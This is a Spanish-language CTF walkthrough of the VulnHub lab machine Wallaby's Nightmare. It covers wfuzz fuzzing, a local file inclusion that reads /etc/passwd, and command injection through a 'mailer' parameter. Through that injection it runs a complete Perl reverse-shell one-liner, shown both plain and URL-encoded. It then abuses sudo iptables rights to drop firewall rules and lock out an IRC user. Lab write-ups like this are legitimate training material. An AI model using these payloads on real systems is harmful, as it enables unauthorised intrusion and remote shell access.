Aqui tenemos el ultimo (22/12/2016) reto propuesto en vulnhub: Wallabyś Nightmare. El autor es un tal Waldo y tambien tiene algunas soluciones a otras CTFs. No está de más darse una vuelta por su pagina web: https://www.arashparsa.com/

 

 La maquina tiene la IP 192.168.1.11. Lo primero un nmap.

Por lo visto nos estan esperando en el puerto 80. Nada mas entrar en http://192.168.1.11/ nos pide un nombre... sin problema, vamos a jugar.

Al pulsar en el Start the CTF nos encontramos con el siguiente enlace.

Nada raro en el código fuente. Lo que más me llama la atención es la URL ?page=home.

 

...A tope con las comillas no? sin miedo.

 

"Ostia! Corre, corre que viene la pasma!".

Parace que nos estaban esperando y ahora nos han cerrado el acceso al puerto 80.

Y ahora aparece un servidor http en el 60080?? Estan jugando conmigo y eso.... me gusta!

"Pero yo soy mas listo que tú hijo de puta!!"- Le dijo la madre al hijo

 

Seguridad por oscuridad... y un muñeco guardando su llave debajo de la alfombra de casa. Claro, lo que todos hacemos. A ver el muñeco de nikto:

Toma ya! Asi de facil, el passwd. Pues nada, pá la saca.

Sigo intentando mostrar algunos archivos y jugar con este LFI pero 'a mano' no consigo mas que siempre el mensaje:

Dude, zaiuss what are you trying over here?!

 

Así que voy a fuzzear con wfuzz. Habrá que filtrar la salida por:

 

1 - Codigo de respuesta: Descartamos el codigo 404. (--hc 404)

2- Tamaño: Como el mensaje de filtrado que nos está mostrando lleva el código de 200, tenemos que buscar otro criterio de filtrado. Vamos a elegir el tamaño según wfuzz = 898. (grep -Ev '898').

 

wfuzz -c -z file,dicc.txt --hc 404 http://192.168.1.11:60080/index.php?page=FUZZ | grep -Ev '898'

En resumen:

-blacklist es el mensaje que se muestra cundo te cazan y te banean del server.

-cgi-bin/ es otro cebo...8((

-contact contiene algo mas de info:

Contact me with all your whining at wallaby@wallaby.wallaby.

-home e index, llevan al php de inicio.

-mailer muestra otro mensaje:

Coming Soon guys!

 

Esto superficialmente, por que si vamos mirando el código fuente de los resultados anteriores, concretamente el de ?page=mailer:

 

Vaya toalla! Pero esto que es?, No será una pista, no?

Le voy a meter con el wfuzz a ver que pasa. Casi igual que antes, solo que ahora cambia el tamaño de la respuesta.

 

wfuzz -c -z file,dicc.txt --hc 404 'http://192.168.1.11:60080/index.php?page=mailer&mail=FUZZ' | grep -Ev '1084|1168'

Umm.. responde a tipicos comandos de linux. A ver si es verdad

"Muy interesante...a por el!"

 

Con netcat no consigo devolverme una shell en condiciones, así que tras comprobar que tiene perl instalado:

perl -e 'use Socket;$i="192.168.1.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

Encodeado en URL:

perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.1.1%22%3B%24p%3D5555%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27

 

(Es necesario encodeardo para que funcione, por que con tanto simbolo no lo interpreta correctamente).

Ahora sí. Tenemos acceso!

 

Vamos a importarnos un prompt con python y vamos a ver si hay algo para nosotros en /etc/sudoers:

La cosa se pone interesante... Ahora mismo tenemos permiso para ejecutar:

  • /usr/bin/vim /etc/apache2/sites-available/000-default.conf como waldo.

sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf

  • /sbin/iptables como root:

sudo /sbin/iptables

 

Con vim se pueden ejecutar comandos del terminal con !comando. De esta manera podriamos tomar el control de waldo. Pero vamos a seguir buscando.

Tenemos el control de las iptables, vamos a ver en que estado se encuentran.

Se está bloqueando la entrada a ircd.

Ahi hay un puerto 6667 a la escucha y se está bloqueando la entrada.

Vamos a eliminar está regla para intentar conectar con un cliente irc desde nuestro kali:

sudo iptables -D INPUT 2

Donde INPUT es la tabla y el 2 el numero de regla.

Un nmap en condiciones...

Vale, un server de irc y hay peñita. Que divertido!!! Vamos a usar irssi como cliente y a ver que pasa.

irssi -c 192.168.1.11

Con /help tendremos un listado de todas las opciones del cliente.

Con /list listamos los canales del servidor. Y solo aparece el canal #wallabyschat.

Con /join #wallabyschat entramos al canal.

Dentro del canal vamos a encontrar a dos usuarios. @waldo y wallabysbot.

Con /whois pedimos informacion de estos usuarios

Y aquí me quedo. Sopel es un bot de irc con el que no tengo ni idea de como interactuar. He probado a escribir distintas cosas en la sala de chat tanto en mensajes privados, pero nada.

 

Aun me encuentro con fuerza, recuerdo haber visto una carpeta que habia dentro del home de wallaby: /home/wallaby/.sopel

Ese archivo raw.log resulta muy interesante. Pero tiene una tupa de mierda que se hace dificil seguirlo. Pero me da lo suficiente como para ver que los mensajes privados llevan palabra PRIVMSG.

 

Filtremos queridos hermanos...

Joder.... enserio??? '.help' mira que habia probado mierdas y no se me habia ocurrido, venga no pasa nada... una hora perdida, no tiene mas.

 

Vamos de vuelta con el bot, a ver que podemos hacer...

Vamos! con [Ctrl+P] nos movemos por las distintas ventanas. Hasta llegar al privado que nos ha enviado el bot. Que salao!

Como que waldo? no soy waldo, nunca me pondria ese nombre tan simplón. Ah coño! que waldo es el creador de la maquina, jejeje, perdón!...

 

No nos va a dejar cambiarnos el nick, logicamente no?

..pues no, no nos deja. 8)

 

Vale, hay que eliminar a waldo, del cadaver puedo encargarme yo, pero quien lo hara?

 

Pienso en buscar algun exploit que haga el trabajo sucio y en lo que voy a recopilar datos sobre la version del server me acuerdo de las iptables. Pues no podiamos cambiarlas a nuestro antojo? Pues vamos a ver si podemos cortarle el grifo no? Yo se que se puede restringir el acceso a un usuario, el tema es: ¿Como se hacia eso doctor?

 

En http://unix.stackexchange.com encuentro la solucion:

Y despues de unos minutillos? Que ha pasado? jeje

Hasta luego amigo! Ahora si que podemos cambiarnos el nombre a waldo, quizas así el bot nos hace mas caso.

Toma ya, somos wallaby. Y podemos interactuar con esos privilegios. Pero no me gusta esto de hacerlo mediante el irssi, no vaya a estar filtrando...

 

Me podre mandar una shell con python?

Y aquí no hay nada mas que ver. El paciente ha fallecido...